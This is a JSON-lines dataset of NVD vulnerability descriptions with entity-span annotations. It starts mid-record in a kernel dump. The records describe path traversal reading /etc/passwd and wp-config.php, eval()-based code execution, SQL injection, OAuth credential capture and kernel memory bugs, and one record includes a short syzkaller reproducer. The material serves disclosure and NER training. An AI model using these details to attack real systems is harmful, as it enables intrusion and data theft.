ffff888829e60c00 0000000080200018 00000001ffffffff 0000000000000000\n[   19.497906] head: 0057ffffc0000840 ffff88810004cc80 0000000000000000 0000000000000001\n[   19.499379] head: ffff888829e60c00 0000000080200018 00000001ffffffff 0000000000000000\n[   19.500844] head: 0057ffffc0000003 ffffea0020a79801 ffffea0020a79848 00000000ffffffff\n[   19.502316] head: 0000000800000000 0000000000000000 00000000ffffffff 0000000000000000\n[   19.503784] page dumped because: k\n---truncated---", "spans": {"FILEPATH: /16/113": [[469, 476]], "FILEPATH: /28/2022": [[708, 716]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: VMware": [[608, 614]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49886"}}
{"text": "The EmailKit – Email Customizer for WooCommerce & WP plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 1.6.3. This is due to the action() function in the TemplateData class passing user-supplied input from the 'emailkit-editor-template' REST API parameter directly to file_get_contents() without any path validation, sanitization, or restriction to an allowed directory. This makes it possible for authenticated attackers, with Administrator-level access, to read arbitrary files on the server (such as /etc/passwd or wp-config.php) by supplying a traversal path. The file contents are stored as post meta and can subsequently be retrieved via the fetch-data REST API endpoint. Notably, the CheckForm class in the same plugin implements proper path validation using realpath() and directory restriction, demonstrating that the developer was aware of the risk but failed to apply the same protections to the TemplateData endpoint.", "spans": {"FILEPATH: /etc/passwd": [[568, 579]], "FILEPATH: config.php": [[586, 596]], "SYSTEM: WordPress": [[64, 73]], "VULNERABILITY: arbitrary file read": [[91, 110]], "VULNERABILITY: path traversal": [[115, 129]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3474"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: Restrict conditions for adding duplicating netems to qdisc tree\n\nnetem_enqueue's duplication prevention logic breaks when a netem\nresides in a qdisc tree with other netems - this can lead to a\nsoft lockup and OOM loop in netem_dequeue, as seen in [1].\nEnsure that a duplicating netem cannot exist in a tree with other\nnetems.\n\nPrevious approaches suggested in discussions in chronological order:\n\n1) Track duplication status or ttl in the sk_buff struct. Considered\ntoo specific a use case to extend such a struct, though this would\nbe a resilient fix and address other previous and potential future\nDOS bugs like the one described in loopy fun [2].\n\n2) Restrict netem_enqueue recursion depth like in act_mirred with a\nper cpu variable. However, netem_dequeue can call enqueue on its\nchild, and the depth restriction could be bypassed if the child is a\nnetem.\n\n3) Use the same approach as in 2, but add metadata in netem_skb_cb\nto handle the netem_dequeue case and track a packet's involvement\nin duplication. This is an overly complex approach, and Jamal\nnotes that the skb cb can be overwritten to circumvent this\nsafeguard.\n\n4) Prevent the addition of a netem to a qdisc tree if its ancestral\npath contains a netem. However, filters and actions can cause a\npacket to change paths when re-enqueued to the root from netem\nduplication, leading us to the current solution: prevent a\nduplicating netem from inhabiting the same tree as other netems.\n\n[1] https://lore.kernel.org/netdev/8DuRWwfqjoRDLDmBMlIfbrsZg9Gx50DHJc1ilxsEBNe2D6NMoigR_eIRIG0LOjMc3r10nUUZtArXx4oZBIdUfZQrwjcQhdinnMis_0G7VEk=@willsroot.io/\n[2] https://lwn.net/Articles/719297/", "spans": {"URL: https://lore.kernel.org/netdev/8DuRWwfqjoRDLDmBMlIfbrsZg9Gx50DHJc1ilxsEBNe2D6NMoigR_eIRIG0LOjMc3r10nUUZtArXx4oZBIdUfZQrwjcQhdinnMis_0G7VEk=@willsroot.io/": [[1532, 1685]], "URL: https://lwn.net/Articles/719297/": [[1690, 1722]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38553"}}
{"text": "A vulnerability ( CVE-2024-38229 https://www.cve.org/CVERecord ) exists in EOL ASP.NET when closing an HTTP/3 stream while application code is writing to the response body, a race condition may lead to use-after-free, resulting in Remote Code Execution.\n\n  Per  CWE-416: Use After Free https://cwe.mitre.org/data/definitions/416.html , Use After Free is when a product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory \"belongs\" to the code that operates on the new pointer.\n\n  This issue affects EOL ASP.NET 6.0.0 <= 6.0.36 as represented in this CVE, as well as 8.0.0 <= 8.0.8, 9.0.0-preview.1.24081.5 <= 9.0.0.RC.1 as represented in  CVE-2024-38229 https://www.cve.org/CVERecord .\n\n  Additionally, if you've deployed  self-contained applications https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd  targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n   NOTE: This CVE only represents End Of Life (EOL) software components. The vendor, Microsoft, has indicated there will be no future updates nor support provided upon inquiry.", "spans": {"CVE_ID: CVE-2024-38229": [[18, 32], [896, 910]], "URL: https://www.cve.org/CVERecord": [[33, 62], [911, 940]], "URL: https://cwe.mitre.org/data/definitions/416.html": [[286, 333]], "URL: https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd": [[1008, 1088]], "ORGANIZATION: Microsoft": [[1294, 1303]], "VULNERABILITY: Remote Code Execution": [[231, 252]], "VULNERABILITY: Use After Free": [[271, 285], [336, 350]], "VULNERABILITY: use-after-free": [[202, 216]], "VULNERABILITY: race condition": [[175, 189]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-36854"}}
{"text": "A vulnerability in the `lollms_generation_events.py` component of parisneo/lollms version 5.9.0 allows unauthenticated access to sensitive Socket.IO events. The `add_events` function registers event handlers such as `generate_text`, `cancel_generation`, `generate_msg`, and `generate_msg_from` without implementing authentication or authorization checks. This allows unauthenticated clients to execute resource-intensive or state-altering operations, leading to potential denial of service, state corruption, and race conditions. Additionally, the use of global flags (`lollmsElfServer.busy`, `lollmsElfServer.cancel_gen`) for state management in a multi-client environment introduces further vulnerabilities, enabling one client's actions to affect the server's state and other clients' operations. The lack of proper access control and reliance on insecure global state management significantly impacts the availability and integrity of the service.", "spans": {"FILEPATH: lollms_generation_events.py": [[24, 51]], "VULNERABILITY: denial of service": [[472, 489]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-1117"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/dp: Drop aux devices together with DP controller\n\nUsing devres to depopulate the aux bus made sure that upon a probe\ndeferral the EDP panel device would be destroyed and recreated upon next\nattempt.\n\nBut the struct device which the devres is tied to is the DPUs\n(drm_dev->dev), which may be happen after the DP controller is torn\ndown.\n\nIndications of this can be seen in the commonly seen EDID-hexdump full\nof zeros in the log, or the occasional/rare KASAN fault where the\npanel's attempt to read the EDID information causes a use after free on\nDP resources.\n\nIt's tempting to move the devres to the DP controller's struct device,\nbut the resources used by the device(s) on the aux bus are explicitly\ntorn down in the error path. The KASAN-reported use-after-free also\nremains, as the DP aux \"module\" explicitly frees its devres-allocated\nmemory in this code path.\n\nAs such, explicitly depopulate the aux bus in the error path, and in the\ncomponent unbind path, to avoid these issues.\n\nPatchwork: https://patchwork.freedesktop.org/patch/542163/", "spans": {"URL: https://patchwork.freedesktop.org/patch/542163/": [[1075, 1122]], "FILEPATH: /msm/dp": [[72, 79]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use after free": [[605, 619]], "VULNERABILITY: use-after-free": [[827, 841]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53851"}}
{"text": "Vulnerability in the Java SE product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Java SE: 11.0.7 and 14.0.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE accessible data. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [47, 51], [118, 122], [270, 274], [390, 394], [464, 468], [524, 528], [566, 570], [682, 686], [723, 727]], "ORGANIZATION: Oracle": [[40, 46]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14573"}}
{"text": "ChurchCRM is an open-source church management system. Prior to version 6.5.3, a SQL injection vulnerability exists in the `src/UserEditor.php` file. When an administrator saves a user's configuration settings, the keys of the `type` POST parameter array are not properly sanitized or type-casted before being used in multiple SQL queries. This allows a malicious or compromised administrator account to execute arbitrary SQL commands, including time-based blind SQL injection attacks, to directly interact with the database. The vulnerability is located in `src/UserEditor.php` within the logic that handles saving user-specific configuration settings. The `type` parameter from the POST request is processed as an array. The code iterates through this array and uses `key($type)` to extract the array key, which is expected to be a numeric ID. This key is then assigned to the `$id` variable. The `$id` variable is subsequently concatenated directly into a `SELECT` and an `UPDATE` SQL query without any sanitization or validation, making it an injection vector. Although the vulnerability requires administrator privileges to exploit, it allows a malicious or compromised admin account to execute arbitrary SQL queries. This can be used to bypass any application-level logging or restrictions, directly manipulate the database, exfiltrate, modify, or delete all data (including other user credentials, financial records, and personal information), and could potentially lead to further system compromise, such as writing files to the server, depending on the database's configuration and user privileges. Version 6.5.3 patches the issue.", "spans": {"FILEPATH: UserEditor.php": [[127, 141], [562, 576]], "VULNERABILITY: SQL injection": [[80, 93], [462, 475]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-66396"}}
{"text": "hoppscotch is an open source API development ecosystem. Prior to version 2026.2.0, an unauthenticated attacker can overwrite the entire infrastructure configuration of a self-hosted Hoppscotch instance including OAuth provider credentials and SMTP settings  by sending a single HTTP POST request with no authentication. The endpoint POST /v1/onboarding/config has no authentication guard and performs no check on whether onboarding was already completed. A successful exploit allows the attacker to replace the instance's Google/GitHub/Microsoft OAuth application credentials with their own, causing all subsequent user logins via SSO to authenticate against the attacker's OAuth app. The attacker captures OAuth tokens and email addresses of every user who logs in after the exploit. Additionally, the endpoint returns a recovery token that can be used to read all stored secrets in plaintext, including SMTP passwords and any other configured credentials. Version 2026.2.0 fixes the issue.", "spans": {"FILEPATH: /v1/onboarding/config": [[338, 359]], "FILEPATH: /GitHub/Microsoft": [[528, 545]], "ORGANIZATION: Google": [[522, 528]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-28215"}}
{"text": "libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain an integer overflow which leads to a heap buffer overflow via sixel_frame_convert_to_rgb888() in frame.c, where allocation size and pointer offset computations for palettised images (PAL1, PAL2, PAL4) are performed using int arithmetic before casting to size_t. For images whose pixel count exceeds INT_MAX / 4, the overflow produces an undersized heap allocation for the conversion buffer and a negative pointer offset for the normalization sub-buffer, after which sixel_helper_normalize_pixelformat() writes the full image data starting from the invalid pointer, causing massive heap corruption confirmed by ASAN. An attacker providing a specially crafted large palettised PNG can corrupt the heap of the victim process, resulting in a reliable crash and potential arbitrary code execution.\nThis issue has been fixed in version 1.8.7-r1.", "spans": {"FILEPATH: frame.c": [[209, 216]], "VULNERABILITY: integer overflow": [[115, 131]], "VULNERABILITY: buffer overflow": [[154, 169]], "VULNERABILITY: code execution": [[889, 903]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33020"}}
{"text": "Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Print Server). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle One-to-One Fulfillment, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle One-to-One Fulfillment accessible data as well as unauthorized update, insert or delete access to some of Oracle One-to-One Fulfillment accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [277, 283], [425, 431], [628, 634], [741, 747]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2826"}}
{"text": "ESPHome is a system to control microcontrollers remotely through Home Automation systems. API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5/ CVE-2024-27287 to obtain a complete takeover of the user account. Version 2024.3.0 contains a patch for this issue.", "spans": {"CVE_ID: CVE-2024-27287": [[900, 914]], "VULNERABILITY: Cross-Site Request Forgery": [[202, 228]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29019"}}
{"text": "Unsanitized input in the query parser in github.com/revel/revel before v1.0.0 allows remote attackers to cause resource exhaustion via memory allocation.", "spans": {"DOMAIN: github.com": [[41, 51]], "FILEPATH: /revel/revel": [[51, 63]], "VULNERABILITY: resource exhaustion": [[111, 130]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36568"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/huc: Fix fence not released on early probe errors\n\nHuC delayed loading fence, introduced with commit 27536e03271da\n(\"drm/i915/huc: track delayed HuC load with a fence\"), is registered with\nobject tracker early on driver probe but unregistered only from driver\nremove, which is not called on early probe errors.  Since its memory is\nallocated under devres, then released anyway, it may happen to be\nallocated again to the fence and reused on future driver probes, resulting\nin kernel warnings that taint the kernel:\n\n<4> [309.731371] ------------[ cut here ]------------\n<3> [309.731373] ODEBUG: init destroyed (active state 0) object: ffff88813d7dd2e0 object type: i915_sw_fence hint: sw_fence_dummy_notify+0x0/0x20 [i915]\n<4> [309.731575] WARNING: CPU: 2 PID: 3161 at lib/debugobjects.c:612 debug_print_object+0x93/0xf0\n...\n<4> [309.731693] CPU: 2 UID: 0 PID: 3161 Comm: i915_module_loa Tainted: G     U             6.14.0-CI_DRM_16362-gf0fd77956987+ #1\n...\n<4> [309.731700] RIP: 0010:debug_print_object+0x93/0xf0\n...\n<4> [309.731728] Call Trace:\n<4> [309.731730]  <TASK>\n...\n<4> [309.731949]  __debug_object_init+0x17b/0x1c0\n<4> [309.731957]  debug_object_init+0x34/0x50\n<4> [309.732126]  __i915_sw_fence_init+0x34/0x60 [i915]\n<4> [309.732256]  intel_huc_init_early+0x4b/0x1d0 [i915]\n<4> [309.732468]  intel_uc_init_early+0x61/0x680 [i915]\n<4> [309.732667]  intel_gt_common_init_early+0x105/0x130 [i915]\n<4> [309.732804]  intel_root_gt_init_early+0x63/0x80 [i915]\n<4> [309.732938]  i915_driver_probe+0x1fa/0xeb0 [i915]\n<4> [309.733075]  i915_pci_probe+0xe6/0x220 [i915]\n<4> [309.733198]  local_pci_probe+0x44/0xb0\n<4> [309.733203]  pci_device_probe+0xf4/0x270\n<4> [309.733209]  really_probe+0xee/0x3c0\n<4> [309.733215]  __driver_probe_device+0x8c/0x180\n<4> [309.733219]  driver_probe_device+0x24/0xd0\n<4> [309.733223]  __driver_attach+0x10f/0x220\n<4> [309.733230]  bus_for_each_dev+0x7d/0xe0\n<4> [309.733236]  driver_attach+0x1e/0x30\n<4> [309.733239]  bus_add_driver+0x151/0x290\n<4> [309.733244]  driver_register+0x5e/0x130\n<4> [309.733247]  __pci_register_driver+0x7d/0x90\n<4> [309.733251]  i915_pci_register_driver+0x23/0x30 [i915]\n<4> [309.733413]  i915_init+0x34/0x120 [i915]\n<4> [309.733655]  do_one_initcall+0x62/0x3f0\n<4> [309.733667]  do_init_module+0x97/0x2a0\n<4> [309.733671]  load_module+0x25ff/0x2890\n<4> [309.733688]  init_module_from_file+0x97/0xe0\n<4> [309.733701]  idempotent_init_module+0x118/0x330\n<4> [309.733711]  __x64_sys_finit_module+0x77/0x100\n<4> [309.733715]  x64_sys_call+0x1f37/0x2650\n<4> [309.733719]  do_syscall_64+0x91/0x180\n<4> [309.733763]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n<4> [309.733792]  </TASK>\n...\n<4> [309.733806] ---[ end trace 0000000000000000 ]---\n\nThat scenario is most easily reproducible with\nigt@i915_module_load@reload-with-fault-injection.\n\nFix the issue by moving the cleanup step to driver release path.\n\n(cherry picked from commit 795dbde92fe5c6996a02a5b579481de73035e7bf)", "spans": {"HASH: 795dbde92fe5c6996a02a5b579481de73035e7bf": [[2971, 3011]], "FILEPATH: /i915/huc": [[72, 81], [198, 207]], "FILEPATH: debugobjects.c": [[851, 865]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37754"}}
{"text": "The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP's eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: \"custom\" with {this.value}).", "spans": {"FILEPATH: /process/price.php.": [[240, 259]], "SYSTEM: WordPress": [[53, 62]], "SYSTEM: PHP": [[370, 373], [484, 487]], "VULNERABILITY: Remote Code Execution": [[80, 101]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4001"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nath5k: fix OOB in ath5k_eeprom_read_pcal_info_5111\n\nThe bug was found during fuzzing. Stacktrace locates it in\nath5k_eeprom_convert_pcal_info_5111.\nWhen none of the curve is selected in the loop, idx can go\nup to AR5K_EEPROM_N_PD_CURVES. The line makes pd out of bound.\npd = &chinfo[pier].pd_curves[idx];\n\nThere are many OOB writes using pd later in the code. So I\nadded a sanity check for idx. Checks for other loops involving\nAR5K_EEPROM_N_PD_CURVES are not needed as the loop index is not\nused outside the loops.\n\nThe patch is NOT tested with real device.\n\nThe following is the fuzzing report\n\nBUG: KASAN: slab-out-of-bounds in ath5k_eeprom_read_pcal_info_5111+0x126a/0x1390 [ath5k]\nWrite of size 1 at addr ffff8880174a4d60 by task modprobe/214\n\nCPU: 0 PID: 214 Comm: modprobe Not tainted 5.6.0 #1\nCall Trace:\n dump_stack+0x76/0xa0\n print_address_description.constprop.0+0x16/0x200\n ? ath5k_eeprom_read_pcal_info_5111+0x126a/0x1390 [ath5k]\n ? ath5k_eeprom_read_pcal_info_5111+0x126a/0x1390 [ath5k]\n __kasan_report.cold+0x37/0x7c\n ? ath5k_eeprom_read_pcal_info_5111+0x126a/0x1390 [ath5k]\n kasan_report+0xe/0x20\n ath5k_eeprom_read_pcal_info_5111+0x126a/0x1390 [ath5k]\n ? apic_timer_interrupt+0xa/0x20\n ? ath5k_eeprom_init_11a_pcal_freq+0xbc0/0xbc0 [ath5k]\n ? ath5k_pci_eeprom_read+0x228/0x3c0 [ath5k]\n ath5k_eeprom_init+0x2513/0x6290 [ath5k]\n ? ath5k_eeprom_init_11a_pcal_freq+0xbc0/0xbc0 [ath5k]\n ? usleep_range+0xb8/0x100\n ? apic_timer_interrupt+0xa/0x20\n ? ath5k_eeprom_read_pcal_info_2413+0x2f20/0x2f20 [ath5k]\n ath5k_hw_init+0xb60/0x1970 [ath5k]\n ath5k_init_ah+0x6fe/0x2530 [ath5k]\n ? kasprintf+0xa6/0xe0\n ? ath5k_stop+0x140/0x140 [ath5k]\n ? _dev_notice+0xf6/0xf6\n ? apic_timer_interrupt+0xa/0x20\n ath5k_pci_probe.cold+0x29a/0x3d6 [ath5k]\n ? ath5k_pci_eeprom_read+0x3c0/0x3c0 [ath5k]\n ? mutex_lock+0x89/0xd0\n ? ath5k_pci_eeprom_read+0x3c0/0x3c0 [ath5k]\n local_pci_probe+0xd3/0x160\n pci_device_probe+0x23f/0x3e0\n ? pci_device_remove+0x280/0x280\n ? pci_device_remove+0x280/0x280\n really_probe+0x209/0x5d0", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47633"}}
{"text": "Decidim is a participatory democracy framework. Starting in version 0.4.rc3 and prior to version 2.0.9 of the `devise_invitable` gem, the invites feature allows users to accept the invitation for an unlimited amount of time through the password reset functionality. This issue creates vulnerable dependencies starting in version 0.0.1.alpha3 and prior to versions 0.26.9, 0.27.5, and 0.28.0 of the `decidim,` `decidim-admin`, and `decidim-system` gems. When using the password reset functionality, the `devise_invitable` gem always accepts the pending invitation if the user has been invited. The only check done is if the user has been invited but the code does not ensure that the pending invitation is still valid as defined by the `invite_for` expiry period. Decidim sets this configuration to `2.weeks` so this configuration should be respected. The bug is in the `devise_invitable` gem and should be fixed there and the dependency should be upgraded in Decidim once the fix becomes available. `devise_invitable` to version `2.0.9` and above fix this issue. Versions 0.26.9, 0.27.5, and 0.28.0 of the `decidim,` `decidim-admin`, and `decidim-system` gems contain this fix. As a workaround, invitations can be cancelled directly from the database.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-48220"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.FractionalAvgPool`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L85-L89) computes a divisor quantity by dividing two user controlled values. The user controls the values of `input_size[i]` and `pooling_ratio_[i]` (via the `value.shape()` and `pooling_ratio` arguments). If the value in `input_size[i]` is smaller than the `pooling_ratio_[i]`, then the floor operation results in `output_size[i]` being 0. The `DCHECK_GT` line is a no-op outside of debug mode, so in released versions of TF this does not trigger. Later, these computed values are used as arguments(https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L96-L99) to `GeneratePoolingSequence`(https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_pool_common.cc#L100-L108). There, the first computation is a division in a modulo operation. Since `output_length` can be 0, this results in runtime crashing. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L85-L89": [[218, 362]], "URL: https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L96-L99": [[855, 999]], "URL: https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_pool_common.cc#L100-L108": [[1030, 1176]], "VULNERABILITY: denial of service": [[130, 147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29550"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: Fix shift-out-of-bounds in dctcp_update_alpha().\n\nIn dctcp_update_alpha(), we use a module parameter dctcp_shift_g\nas follows:\n\n  alpha -= min_not_zero(alpha, alpha >> dctcp_shift_g);\n  ...\n  delivered_ce <<= (10 - dctcp_shift_g);\n\nIt seems syzkaller started fuzzing module parameters and triggered\nshift-out-of-bounds [0] by setting 100 to dctcp_shift_g:\n\n  memcpy((void*)0x20000080,\n         \"/sys/module/tcp_dctcp/parameters/dctcp_shift_g\\000\", 47);\n  res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x20000080ul,\n                /*flags=*/2ul, /*mode=*/0ul);\n  memcpy((void*)0x20000000, \"100\\000\", 4);\n  syscall(__NR_write, /*fd=*/r[0], /*val=*/0x20000000ul, /*len=*/4ul);\n\nLet's limit the max value of dctcp_shift_g by param_set_uint_minmax().\n\nWith this patch:\n\n  # echo 10 > /sys/module/tcp_dctcp/parameters/dctcp_shift_g\n  # cat /sys/module/tcp_dctcp/parameters/dctcp_shift_g\n  10\n  # echo 11 > /sys/module/tcp_dctcp/parameters/dctcp_shift_g\n  -bash: echo: write error: Invalid argument\n\n[0]:\nUBSAN: shift-out-of-bounds in net/ipv4/tcp_dctcp.c:143:12\nshift exponent 100 is too large for 32-bit type 'u32' (aka 'unsigned int')\nCPU: 0 PID: 8083 Comm: syz-executor345 Not tainted 6.9.0-05151-g1b294a1f3561 #2\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n1.13.0-1ubuntu1.1 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x201/0x300 lib/dump_stack.c:114\n ubsan_epilogue lib/ubsan.c:231 [inline]\n __ubsan_handle_shift_out_of_bounds+0x346/0x3a0 lib/ubsan.c:468\n dctcp_update_alpha+0x540/0x570 net/ipv4/tcp_dctcp.c:143\n tcp_in_ack_event net/ipv4/tcp_input.c:3802 [inline]\n tcp_ack+0x17b1/0x3bc0 net/ipv4/tcp_input.c:3948\n tcp_rcv_state_process+0x57a/0x2290 net/ipv4/tcp_input.c:6711\n tcp_v4_do_rcv+0x764/0xc40 net/ipv4/tcp_ipv4.c:1937\n sk_backlog_rcv include/net/sock.h:1106 [inline]\n __release_sock+0x20f/0x350 net/core/sock.c:2983\n release_sock+0x61/0x1f0 net/core/sock.c:3549\n mptcp_subflow_shutdown+0x3d0/0x620 net/mptcp/protocol.c:2907\n mptcp_check_send_data_fin+0x225/0x410 net/mptcp/protocol.c:2976\n __mptcp_close+0x238/0xad0 net/mptcp/protocol.c:3072\n mptcp_close+0x2a/0x1a0 net/mptcp/protocol.c:3127\n inet_release+0x190/0x1f0 net/ipv4/af_inet.c:437\n __sock_release net/socket.c:659 [inline]\n sock_close+0xc0/0x240 net/socket.c:1421\n __fput+0x41b/0x890 fs/file_table.c:422\n task_work_run+0x23b/0x300 kernel/task_work.c:180\n exit_task_work include/linux/task_work.h:38 [inline]\n do_exit+0x9c8/0x2540 kernel/exit.c:878\n do_group_exit+0x201/0x2b0 kernel/exit.c:1027\n __do_sys_exit_group kernel/exit.c:1038 [inline]\n __se_sys_exit_group kernel/exit.c:1036 [inline]\n __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1036\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xe4/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x67/0x6f\nRIP: 0033:0x7f6c2b5005b6\nCode: Unable to access opcode bytes at 0x7f6c2b50058c.\nRSP: 002b:00007ffe883eb948 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 00007f6c2b5862f0 RCX: 00007f6c2b5005b6\nRDX: 0000000000000001 RSI: 000000000000003c RDI: 0000000000000001\nRBP: 0000000000000001 R08: 00000000000000e7 R09: ffffffffffffffc0\nR10: 0000000000000006 R11: 0000000000000246 R12: 00007f6c2b5862f0\nR13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001\n </TASK>", "spans": {"FILEPATH: /sys/module/tcp_dctcp/parameters/dctcp_shift_g": [[469, 515], [873, 919], [928, 974], [994, 1040]], "FILEPATH: /ipv4/tcp_dctcp.c": [[1125, 1142], [1646, 1663]], "FILEPATH: /01/2014": [[1385, 1393]], "FILEPATH: /ipv4/tcp_input.c": [[1689, 1706], [1747, 1764], [1809, 1826]], "FILEPATH: /ipv4/tcp_ipv4.c": [[1862, 1878]], "FILEPATH: /net/sock.h": [[1907, 1918]], "FILEPATH: /core/sock.c": [[1964, 1976], [2010, 2022]], "FILEPATH: /mptcp/protocol.c": [[2067, 2084], [2132, 2149], [2185, 2202], [2235, 2252]], "FILEPATH: /ipv4/af_inet.c": [[2287, 2302]], "FILEPATH: /linux/task_work.h": [[2503, 2521]], "FILEPATH: /x86/entry/common.c": [[2789, 2808], [2851, 2870]], "FILEPATH: dump_stack.c": [[1432, 1444], [1489, 1501]], "FILEPATH: ubsan.c": [[1526, 1533], [1599, 1606]], "FILEPATH: socket.c": [[2327, 2335], [2376, 2384]], "FILEPATH: file_table.c": [[2413, 2425]], "FILEPATH: task_work.c": [[2464, 2475]], "FILEPATH: exit.c": [[2563, 2569], [2608, 2614], [2648, 2654], [2697, 2703], [2757, 2763]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1320, 1324]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-37356"}}
